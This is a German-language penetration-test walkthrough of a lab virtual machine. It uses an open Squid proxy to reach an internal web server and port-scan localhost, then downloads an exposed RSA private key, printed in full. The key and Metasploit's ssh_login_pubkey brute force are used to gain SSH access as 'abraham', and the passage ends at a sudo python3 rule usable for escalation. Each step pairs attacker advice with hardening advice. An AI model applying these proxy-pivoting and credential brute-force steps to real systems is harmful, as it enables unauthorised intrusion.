Analyse: Der Bericht beginnt mit den Ergebnissen eines ARP-Scans und der Konfiguration der lokalen `/etc/hosts`-Datei. Der ARP-Scan identifiziert die IP-Adresse `192.168.2.128` mit der MAC-Adresse `08:00:27:1f:ed:08`, die auf eine VirtualBox-Umgebung hinweist (`PCS Systemtechnik GmbH`). In der `/etc/hosts`-Datei wird der Hostname `cache.nyx` dieser IP-Adresse zugeordnet.
Bewertung: Standardmäßige erste Schritte zur Identifizierung des Ziels im lokalen Netzwerk und zur Ermöglichung der Namensauflösung für spätere Scans und Zugriffe.
Empfehlung (Pentester): Immer ARP-Scan im LAN durchführen. Die `/etc/hosts`-Datei aktuell halten, wenn neue Hostnamen entdeckt werden.
Empfehlung (Admin): Netzwerküberwachung implementieren. Sicherstellen, dass die DNS-Infrastruktur korrekt funktioniert.
ARP-Scan
192.168.2.128 08:00:27:1f:ed:08 PCS Systemtechnik GmbH
127.0.0.1 localhost 192.168.2.128 cache.nyx
Analyse: Nikto, ein Webserver-Scanner, wird gegen Port 80 des Ziels ausgeführt. Er identifiziert einen Apache/2.4.57 (Debian) Webserver. Nikto meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), ein mögliches Inode-Leak über ETags und listet die erlaubten HTTP-Methoden (`GET`, `POST`, `OPTIONS`, `HEAD`).
Bewertung: Die Apache-Version 2.4.57 ist relativ aktuell, was die Wahrscheinlichkeit bekannter, leicht ausnutzbarer Schwachstellen verringert. Die fehlenden Header sind geringfügige Sicherheitsschwächen. Das ETag-Leak ist meist von geringem Risiko. Keine kritischen Funde durch Nikto.
Empfehlung (Pentester): Notieren Sie die Apache-Version. Konzentrieren Sie sich auf die Verzeichnis-Enumeration und die Analyse der Webanwendung selbst.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). Konfigurieren Sie ETags sicher.
- Nikto Scan : - - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.128 + Target Hostname: 192.168.2.128 + Target Port: 80 + Start Time: 2024-09-06 14:36:44 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 60ebbafb5fa29, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-09-06 14:37:28 (GMT2) (44 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Es werden Nmap-Scans durchgeführt, um offene Ports auf IPv6 und IPv4 zu identifizieren. Zuerst wird versucht, die IPv6-Link-Local-Adresse des Ziels mit `ip neigh`, `grep`, `awk` und `sort` zu finden. Danach wird `ping6` verwendet, um aktive IPv6-Hosts im lokalen Netzwerk zu finden. Schließlich führt Nmap einen Scan gegen die gefundene IPv6-Adresse (`fe80::a00:27ff:fe1f:ed08`) durch.
Bewertung: Die IPv6-Enumeration ist erfolgreich und identifiziert die Link-Local-Adresse. Der Nmap-Scan gegen diese Adresse findet die offenen TCP-Ports 22 (SSH), 80 (HTTP) und 3128 (Squid HTTP Proxy). Dies ist ein wichtiger Fund, da Port 3128 im späteren IPv4-Scan ebenfalls auftaucht.
Empfehlung (Pentester): Führen Sie immer auch IPv6-Scans durch. Der offene Squid-Proxy-Port 3128 ist ein primäres Ziel für weitere Untersuchungen.
Empfehlung (Admin): Sichern Sie alle Dienste auf allen aktiven Protokollen (IPv4/IPv6). Wenn IPv6 nicht benötigt wird, deaktivieren Sie es. Konfigurieren Sie den Squid-Proxy sicher und beschränken Sie den Zugriff.
: Nmap Portscans : Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.128 IPv6 Scan
ping6: Warning: IPv6 link-local address on ICMP datagram socket may require ifname or scope-id => use: address%ping6: Warning: source address might be selected on device other than: eth0 PING ff02::1(ff02::1) from :: eth0: 56 data bytes 64 bytes from fe80::a00:27ff:fe1f:ed08%eth0: icmp_seq=1 ttl=255 time=0.294 ms 64 bytes from fe80::a00:27ff:fe1f:ed08%eth0: icmp_seq=2 ttl=255 time=0.146 ms --- ff02::1 ping statistics ---
- Nmap IPv6 Scan - - IPv6 Adresse: fe80::a00:27ff:fe1f:ed08%eth0: - - Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 22:35 CEST Nmap scan report for cache (fe80::a00:27ff:fe1f:ed08) Host is up (0.00013s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3128/tcp open squid-http MAC Address: 08:00:27:1F:ED:08 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
UDP Scan - Nmap UDP Scan : - Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 14:35 CEST Nmap scan report for 192.168.2.128 Host is up (0.00025s latency). Not shown: 994 open|filtered udp ports (no-response) PORT STATE SERVICE 8010/udp closed unknown 19722/udp closed unknown 40019/udp closed unknown 53838/udp closed unknown 58640/udp closed unknown 61550/udp closed unknown MAC Address: 08:00:27:1F:ED:08 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
Analyse: Der UDP-Scan gegen die IPv4-Adresse (`$IP`) findet keine offenen Ports unter den Top 1000.
Bewertung: Bestätigt das Fehlen offener Standard-UDP-Dienste.
pen mit grep Scan : - Nmap nur offene Ports Ausgabe - 22/tcp open ssh OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian)) 3128/tcp open http-proxy Squid http proxy 5.7 |_http-open-proxy: Proxy might be redirecting requests
Analyse: Der TCP-Scan (`-sS -sC -sV -A -p-`) gegen die IPv4-Adresse, gefiltert mit `grep open`, bestätigt die offenen Ports 22 (SSH, OpenSSH 9.2p1), 80 (HTTP, Apache 2.4.57) und 3128 (HTTP-Proxy, Squid 5.7). Nmap's Skriptscan vermutet, dass der Proxy Anfragen umleiten könnte.
Bewertung: Identifiziert die Hauptangriffsvektoren: SSH, HTTP und der Squid-Proxy. Die SSH-Version ist sehr aktuell, was Exploits unwahrscheinlich macht. Apache ist aktuell. Der Squid-Proxy ist der interessanteste Dienst.
Empfehlung (Pentester): Führen Sie den vollständigen Nmap-Scan aus. Untersuchen Sie den Webserver auf Port 80 und insbesondere den Squid-Proxy auf Port 3128. Testen Sie, ob der Proxy als offener Proxy missbraucht werden kann oder ob er Zugriff auf interne Ressourcen ermöglicht.
Empfehlung (Admin): Stellen Sie sicher, dass der Squid-Proxy sicher konfiguriert ist und nur autorisierte Zugriffe erlaubt. Aktualisieren Sie alle Dienste regelmäßig.
Port Scan - : Nmap volle Ausgabe - Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 14:36 CEST Nmap scan report for cache.nyx (192.168.2.128) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA) |_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.57 (Debian) 3128/tcp open http-proxy Squid http proxy 5.7 |_http-open-proxy: Proxy might be redirecting requests |_http-title: ERROR: The requested URL could not be retrieved |_http-server-header: squid/5.7 MAC Address: 08:00:27:1F:ED:08 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms cache.nyx (192.168.2.128) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.11 seconds
Analyse: Die vollständige Nmap-Ausgabe liefert mehr Details. SSH (Port 22) verwendet ECDSA und ED25519 Schlüssel. HTTP (Port 80) zeigt die Standard-Apache-Seite für Debian. Der Squid-Proxy (Port 3128) Version 5.7 liefert eine Fehlerseite bei direktem Zugriff und bestätigt den Server-Header `squid/5.7`. Die OS-Erkennung deutet auf Linux Kernel 4.x/5.x.
Bewertung: Bestätigt die Dienstversionen und liefert zusätzliche Details wie Host-Keys und den Titel der Standardseiten. Der Squid-Proxy bleibt der interessanteste Angriffspunkt.
Empfehlung (Pentester): Versuchen Sie, Anfragen über den Squid-Proxy zu senden, um zu sehen, ob er interne Systeme oder spezielle Webseiten preisgibt. Suchen Sie nach bekannten Schwachstellen für Squid 5.7.
Empfehlung (Admin): Härten Sie die Squid-Konfiguration. Aktualisieren Sie alle Dienste. Überwachen Sie Proxy-Logs.
Host Scan : - Nmap Hostscan Ausgabe - Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 14:36 CEST Nmap scan report for 192.168.2.128 Host is up (0.00013s latency). All 65535 scanned ports on 192.168.2.128 are in ignored states. Not shown: 65504 filtered sctp ports (no-response), 31 filtered sctp ports (proto-unreach) MAC Address: 08:00:27:1F:ED:08 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
Analyse: Ein Nmap SCTP INIT Scan (`-sY`) wird gegen alle Ports (`-p-`) durchgeführt. SCTP (Stream Control Transmission Protocol) ist ein alternatives Transportprotokoll zu TCP und UDP.
Bewertung: Der Scan findet keine offenen SCTP-Ports. Alle Ports sind entweder gefiltert (keine Antwort) oder geschlossen (proto-unreach).
Empfehlung (Pentester): SCTP ist selten anzutreffen, aber es ist gut, danach zu scannen. Da hier nichts gefunden wurde, kann es ignoriert werden.
Empfehlung (Admin): Deaktivieren Sie SCTP auf Systemebene, wenn es nicht benötigt wird.
Analyse: Gobuster wird zur Verzeichnis- und Dateisuche auf Port 80 eingesetzt.
Bewertung: Überraschenderweise findet Gobuster nur die Standarddatei `index.html`. Dies deutet darauf hin, dass auf Port 80 keine weiteren interessanten Dateien oder Verzeichnisse über Standard-Bruteforce auffindbar sind.
Empfehlung (Pentester): Da Port 80 uninteressant erscheint, verlagern Sie den Fokus vollständig auf den Squid-Proxy (Port 3128).
Empfehlung (Admin): Entfernen Sie nicht benötigte Dateien aus dem Web-Root.
--
Gobuster Scan
--
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.128
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403,405,500
[+] Excluded status codes: 503,404,403
[+] User Agent: gobuster/3.6
[+] Extensions: [...]
[+] Expanded: true
[+] No TLS validation: true
[+] Follow Redirect: false
[+] Timeout: 10s
===============================================================
2024/09/06 14:37:40 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 10701]
===============================================================
2024/09/06 14:45:12 Finished
===============================================================
Analyse: Der Squid-Proxy auf Port 3128 wird nun untersucht. Zuerst wird `curl` verwendet, um eine Anfrage an die IP-Adresse des Ziels selbst (`http://192.168.2.128`) *durch* den Proxy (`--proxy http://192.168.2.128:3128`) zu senden.
Bewertung: Sehr interessantes Ergebnis! Statt der Standard-Apache-Seite von Port 80 wird eine Seite mit dem Text "Internal Server Welcome Internal Server WARNING: Access to unauthorized personnel is prohibited" angezeigt. Dies bedeutet, dass der Proxy Anfragen an `192.168.2.128` intern anders behandelt oder auf einen internen Dienst weiterleitet, der auf der gleichen IP, aber möglicherweise auf einem anderen Port oder nur über den Proxy erreichbar ist.
Empfehlung (Pentester): Der Proxy ermöglicht den Zugriff auf eine interne Ressource. Fuzzing über den Proxy ist der nächste logische Schritt, um versteckte Pfade oder Dienste zu finden, die nur intern zugänglich sind. Verwenden Sie Tools wie `ffuf` mit der Proxy-Option (`-x`).
Empfehlung (Admin): Untersuchen Sie die Squid-Konfiguration dringend. Warum leitet der Proxy Anfragen an die eigene IP auf einen internen Dienst weiter? Beschränken Sie den Proxy-Zugriff und die erlaubten Ziel-URLs/IPs.
Internal Server Welcome Internal Server WARNING: Access to unauthorized personnel is prohibited
Analyse: `ffuf` wird verwendet, um Verzeichnisse und Dateien auf dem "Internal Server" zu finden, der über den Proxy erreichbar ist. `-w` gibt die Wortliste an, `-u http://127.0.0.1:21500/FUZZ` ist die Ziel-URL (hier wird anscheinend ein lokaler Port 21500 als Basis verwendet, aber die Anfrage geht über den Proxy), `-x http://192.168.2.128:3128` spezifiziert den zu verwendenden Proxy. `--fc 403` filtert "Forbidden"-Antworten heraus.
Bewertung: Der erste `ffuf`-Lauf findet das Verzeichnis `/cloud` (Status 301 - Redirect). Der zweite Lauf innerhalb von `/cloud` (`-u http://127.0.0.1:21500/cloud/FUZZ`) findet die Datei `/cloud/key` (Status 200).
Empfehlung (Pentester): Laden Sie die gefundene Datei `/cloud/key` über den Proxy herunter und analysieren Sie sie. Es handelt sich wahrscheinlich um einen Schlüssel.
Empfehlung (Admin): Sichern Sie den internen Webserver und den Proxy ab. Entfernen Sie sensible Dateien wie Schlüssel aus öffentlich erreichbaren (auch internen) Pfaden.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://127.0.0.1:21500/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Proxy URL : http://192.168.2.128:3128
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
cloud [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 5ms]
:: Progress: [19997/19997] :: Job [1/1] :: 723 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://127.0.0.1:21500/cloud/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Proxy URL : http://192.168.2.128:3128
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
key [Status: 200, Size: 1675, Words: 7, Lines: 28, Duration: 5ms]
:: Progress: [19997/19997] :: Job [1/1] :: 704 req/sec :: Duration: [0:00:29] :: Errors: 0 ::
-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAztdB5eKtYEj0T9uEgy0x43HLS/nUhmV3yzwFL37ePznxik qRUY2JernRYQF0RA0MSu+nu6C4I5CPPTVoIkigYt8mMymVbtdM79va+rxtayi1W EiZKGz77a5ukikqdauusb3A6KIDd+YJZaeasNTbgwpLR32+V2DfpPmoJa4oK8i1s UZ3vuWx7+Vws35LgVPWIZL/BeWG6X0uXs9J5XypDMupY2fIDulIRay1sJknQmuw 6KxF4uaJY4ilBgV7snFLUQC3JMghcW54NFC+ezfWtWI7s2fNYpwKzEGMhhUUUvZ aE0Sm5pp+756Jzm8uX9ilNf89R8yMZujmGLjIQIDAQABAoIBAGTIThIXerf5TdQ 7+5ki4sd5+sLCrNteccM3S8/Hpbly20l8e8sJt/udEGVY32v7/wQis1IGylPMByU WLIGS+YAw5WGw+6TyQjJfi6wLrAh3R1DohHuuPJQ6byuGxIwRYQ5nLxNW5WS4ZY iC8BS5n6p01EXSDRmTUBwdzCMHpvyqtc9LeMCKd+dLAMl/5IA9VND1AG+wvapvy P6UaVgtVssPx/WgYxzF1MwfGLFlTXgD+RFYNWDQslIpZ/v4ntj/XR/bUVAcd1Cu adfEYXp3tJmc08qVeaiuX2ArZcrytgX6uy0e1IrIPndEtUG1ZMiSVvpZhDA3m jy95HoECgYEA6zqQZRX6SN+oQ0p7WsSdS8WH2DLTFaWL3ia/2FVJrjWIKqiwwWz+ Ey+pZqExLMNhVasG4svKNvNWAjH86Bz4LPv0S9GcJ16H1xQGBTLlJYJPbt6T/k fX5pbo33bekB0PmI/ZV7B7HH14LK6Lau/Sb74M/IDujQYooDdeLwSkCgYEA4Rr5 Q+yCqvt4uWY9lpWzGSSrZJatJG2tz/DWRBPsoboVYzII8l03lVa36uJ7FFjk/tEE mdFd54sf8BwK5MYlXHcqqibqGrQeP/3EgoohV7PjeZSPxIRZFS0X8VwHN9C9dUU QDoTm433TFe+huM0nA8pJti8AMQynhPJojE+TkCgYBMywzoy31NdUGSjzkD0RN ZKiIYWbYLRbwKHP9WTHZBS5yxmgUa9CwUKGal8mmlAyk21Q+fWcCjmWEdDFZDKpm 0jXZcfYrb3w07SXX3tmoSEbvog9dUXbzpB0kcoEvRp1KKvqV1IK5q0XRyuXWE64V Jq70S0KC8hTDoyaaBh9fqQKBgQCjrl9t+n4RIgXomeVSp8uxDq7p135SrMXkG/VR T0TXaHLnUhQI2QVXRci3kgsxW7NsuKrjke/47P3fgyVyVbFY4lMbDtx62LLmRTY 7uPLx+wyLcpUmSWYVNdLhF8/P0CLTMMK6K/1PkeB5ZtYs9pvB/ZL1fuUotE6oQ u/6uUQKBgByAFFizSLC0SN/FbvrSf0f6mp9C2z3Q1Q6hoTGn1pMBzcDEdR8r8UHr V0Dq5hJtET0cVvW4whnLtxhW+ikAQI5Rgc8fB7adGX2b0JiEo1LVhshs50d1of7 2VHdmG7wir+8EyKvGEPZQJaLlNjBbRXi/hTUWJJmybFJjeAiicuH -----END RSA PRIVATE KEY-----
Analyse: Die Datei `/cloud/key` wird über den Proxy heruntergeladen. Der Inhalt ist ein unverschlüsselter RSA Private Key.
Bewertung: Kritischer Fund! Ein privater Schlüssel, der über einen internen Webserver zugänglich ist, stellt ein hohes Sicherheitsrisiko dar. Dieser Schlüssel kann wahrscheinlich für den SSH-Login verwendet werden.
Empfehlung (Pentester): Speichern Sie den Schlüssel in einer Datei, setzen Sie die korrekten Berechtigungen (chmod 600) und versuchen Sie, sich damit per SSH auf Port 22 anzumelden. Da kein Passwort benötigt wird (`ssh2john` bestätigt dies später), versuchen Sie, Benutzernamen zu bruteforcen, die möglicherweise zu diesem Schlüssel passen (z.B. mit Metasploit `ssh_login_pubkey`).
Empfehlung (Admin): Entfernen Sie diesen Schlüssel sofort vom Server. Implementieren Sie sichere Schlüsselverwaltungspraktiken. Überprüfen Sie, wie dieser Schlüssel dorthin gelangt ist und ob er bereits missbraucht wurde.
Analyse: `ffuf` wird erneut verwendet, diesmal um Ports zu scannen, die über den Proxy erreichbar sind. `-w ports` verwendet eine Wortliste mit Portnummern (wahrscheinlich 1-65535), `-u http://127.0.0.1:FUZZ` versucht, eine Verbindung zu localhost auf dem durch `FUZZ` ersetzten Port herzustellen, alles über den Proxy `-x http://192.168.2.128:3128`.
Bewertung: Dies ist eine Methode, um interne Dienste zu finden, die auf dem Zielsystem laufen, aber nicht direkt von außen erreichbar sind, sondern nur über den Proxy. Der Scan findet die bereits bekannten Ports 80 und den internen Dienst auf 21500. Zusätzlich werden zwei weitere Ports gefunden: 38176 und 60464, die eine Antwort mit Größe 0 liefern.
Empfehlung (Pentester): Untersuchen Sie die neu gefundenen Ports 38176 und 60464 genauer. Versuchen Sie, über den Proxy mit `curl` oder `nc` eine Verbindung herzustellen oder Daten zu senden, um herauszufinden, welcher Dienst dort lauscht.
Empfehlung (Admin): Analysieren Sie die Dienste auf den Ports 21500, 38176 und 60464. Stellen Sie sicher, dass diese Dienste notwendig sind und angemessen gesichert und durch Firewalls geschützt sind, auch wenn sie nur intern erreichbar sind.
Fuzzing nach Proxy Ports /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ Method : GET URL : http://127.0.0.1:FUZZ Wordlist : FUZZ: /root/ports Follow redirects : false Calibration : false Proxy : http://192.168.2.128:3128 Timeout : 10 Threads : 40 Matcher : Response status: 200-299,301,302,307,401,403,405,500 Filter : Response status: 403 ________________________________________________ 80 [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 10ms] 21500 [Status: 200, Size: 325, Words: 25, Lines: 23, Duration: 8ms] 38176 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 7ms] 60464 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 6ms] Progress: [65535/65535] Job [1/1] 21 req/sec Duration: [0:00:18] Errors: 0 :: : Fuzzing Ende :
Analyse: Der direkte Zugriff auf den Proxy (`http://192.168.2.128:3128/`) liefert eine Squid-Fehlerseite ("Invalid URL"). Eine Anfrage an eine interne Ressource des Proxys (`/squid-internal-static/icons/SN.png`) ist jedoch erfolgreich (Status 200).
Bewertung: Bestätigt, dass es sich um einen Squid-Proxy handelt und dass interne Ressourcen des Proxys selbst teilweise zugänglich sind. Dies liefert aber keine direkten neuen Angriffsvektoren.
Empfehlung (Pentester): Konzentrieren Sie sich auf die Ausnutzung des gefundenen SSH-Schlüssels.
Empfehlung (Admin): Härten Sie die Squid-Konfiguration, um den Zugriff auf interne Ressourcen und Statusseiten zu beschränken.
ERROR The requested URL could not be retrieved The following error was encountered while trying to retrieve the URL: / Invalid URL Some aspect of the requested URL is incorrect. Some possible problems are: Missing or incorrect access protocol (should be "http://" or similar) Missing hostname Illegal double-escape in the URL-Path Illegal character in hostname; underscores are not allowed. Your cache administrator is webmaster. Generated Fri, 06 Sep 2024 20:54:27 GMT by cache (squid/5.7)
HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 20:55:00 GMT Server: squid/5.7 Content-Type: image/png Content-Length: 1023 Last-Modified: Tue, 17 Jan 2023 13:43:08 GMT Expires: Fri, 06 Sep 2024 20:55:00 GMT X-Cache: MISS from cache X-Cache-Lookup: MISS from cache:3128 Via: 1.1 cache (squid/5.7) Connection: keep-alive
telnet: too many arguments
Analyse: Ein fehlerhafter Versuch, `telnet` zu verwenden.
Bewertung: Syntaxfehler, irrelevant.
------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------ --------------------------------- Eclipse Mosquitto MQTT broker 2.0.9 - 'mosquitto' Unquoted Service Path | windows/local/49673.txt Squito Gallery 1.0 - Cross-Site Scripting | php/webapps/10669.txt ------------------------------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Analyse: `searchsploit` wird verwendet, um in der lokalen Exploit-DB-Datenbank nach bekannten Exploits für "squid" zu suchen.
Bewertung: Es werden keine relevanten Exploits für Squid 5.7 gefunden.
Empfehlung (Pentester): Verlassen Sie sich nicht nur auf `searchsploit`. Recherchieren Sie auch online nach CVEs und Exploits für Squid 5.7. Da jedoch der SSH-Schlüssel gefunden wurde, ist dies der wahrscheinlichere Weg.
Empfehlung (Admin): Auch wenn keine öffentlichen Exploits bekannt sind, ist das Aktualisieren von Diensten wichtig.
Analyse: Der zuvor über den Proxy heruntergeladene RSA Private Key (`/cloud/key`) wird in eine lokale Datei `idrss` gespeichert. Die Berechtigungen werden auf 600 gesetzt, was für SSH-Schlüssel erforderlich ist.
Bewertung: Korrekte Vorbereitung des Schlüssels für die Verwendung.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1675 100 1675 0 0 1067k 0 --:--:-- --:--:-- --:--:-- 1635k
idrss has no password!
Analyse: `ssh2john` wird verwendet, um zu überprüfen, ob der private Schlüssel `idrss` passwortgeschützt ist. Die Ausgabe "idrss has no password!" bestätigt, dass der Schlüssel unverschlüsselt ist.
Bewertung: Vereinfacht den Angriff, da kein Passwort für den Schlüssel geknackt werden muss.
Empfehlung (Pentester): Verwenden Sie den Schlüssel direkt für SSH-Logins in Kombination mit einer Liste potenzieller Benutzernamen.
Empfehlung (Admin): Private Schlüssel sollten immer mit einer starken Passphrase geschützt werden.
Analyse: Metasploit wird gestartet und das Modul `auxiliary/scanner/ssh/ssh_login_pubkey` verwendet. Dieses Modul versucht, sich per SSH mit einem gegebenen privaten Schlüssel und einer Liste von Benutzernamen anzumelden.
Bewertung: Effizientes Werkzeug, um den passenden Benutzernamen für einen unverschlüsselten privaten Schlüssel zu finden.
Empfehlung (Pentester): Konfigurieren Sie das Modul mit der Ziel-IP (`RHOSTS`), dem Pfad zum privaten Schlüssel (`KEY_PATH`) und einer umfangreichen Benutzerliste (`USER_FILE`).
Empfehlung (Admin): Implementieren Sie Intrusion Detection/Prevention Systeme, die Brute-Force-Angriffe auf SSH erkennen und blockieren (z.B. `fail2ban`). Verwenden Sie Key-basierte Authentifizierung, aber überwachen Sie fehlgeschlagene Logins.
Module options (auxiliary/scanner/ssh/ssh_login_pubkey): Name Current Setting Required Description ---- --------------- -------- ----------- ANONYMOUS_LOGIN false yes Attempt to login with a blank username and p assword BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 CreateSession true no Create a new session for every successful lo gin DB_ALL_USERS false no Add all users in the current database to the list KEY_PASS no Passphrase for SSH private key(s) KEY_PATH no Filename or directory of cleartext private k eys. Filenames beginning with a dot, or endi ng in ".pub" will be skipped. Duplicate priv ate keys will be ignored. PRIVATE_KEY no The string value of the private key that wil l be used. If you are using MSFConsole, this value should be set as file:PRIVATE_KEY_PAT H. OpenSSH, RSA, DSA, and ECDSA private keys are supported. RHOSTS yes The target host(s), see https://docs.metaspl oit.com/docs/using-metasploit/basics/using-m etasploit.html RPORT 22 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads (max one pe r host) USERNAME no A specific username to authenticate as USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts View the full module info with the info, or info -d command.
rhosts => 192.168.2.128<-- Korrigiert von 'idrs'
KEY_PATH => ~/idrss
STOP_ON_SUCCESS => true
USER_FILE => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
[*] Running module against 192.168.2.128 [+] 192.168.2.128:22 - Success: 'abraham:<-- Schlüssel aus Ausgabe entfernt' 'uid=1000(abraham) gid=1000(abraham) groups=1000(abraham) Linux cache 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64 GNU/Linux ' [*] SSH session 1 opened (192.168.2.199:41293 -> 192.168.2.128:22) at 2024-09-06 23:31:46 +0200 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Analyse: Das Metasploit-Modul wird mit der Ziel-IP, dem Pfad zum Schlüssel (`~/idrss`) und einer großen Benutzerliste konfiguriert. `STOP_ON_SUCCESS` wird auf `true` gesetzt. Das Modul wird ausgeführt und findet erfolgreich den Benutzernamen `abraham`, der sich mit dem gegebenen Schlüssel authentifizieren kann. Eine SSH-Session wird geöffnet.
Bewertung: Erfolg! Der passende Benutzername für den Schlüssel wurde gefunden. Initial Access ist nun über SSH als Benutzer `abraham` möglich.
Empfehlung (Pentester): Verbinden Sie sich manuell per SSH als `abraham` mit dem Schlüssel (`ssh abraham@192.168.2.128 -i idrss`), um eine stabile Shell zu erhalten und mit der Enumeration und Privilege Escalation als `abraham` fortzufahren.
Empfehlung (Admin): Entfernen Sie den kompromittierten Schlüssel aus der `authorized_keys`-Datei von `abraham`. Überprüfen Sie alle Benutzerkonten auf ähnliche Probleme.
The authenticity of host '192.168.2.128 (192.168.2.128)' can't be established. ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dR4+6rQZf20TIk/U. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:26: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.128' (ED25519) to the list of known hosts.
Analyse: Der Angreifer verbindet sich erfolgreich per SSH als Benutzer `abraham` unter Verwendung des zuvor gefundenen privaten Schlüssels (`-i idrss`).
Bewertung: Initial Access über SSH als `abraham` bestätigt.
Matching Defaults entries for abraham on cache:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User abraham may run the following commands on cache:
(jeff) NOPASSWD: /usr/bin/python3
Analyse: `sudo -l` für den Benutzer `abraham` zeigt, dass dieser `/usr/bin/python3` als Benutzer `jeff` ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Kritischer Fund für horizontale Rechteausweitung. Ähnlich wie bei "Ceres" kann dies genutzt werden, um eine Shell als Benutzer `jeff` zu erlangen.
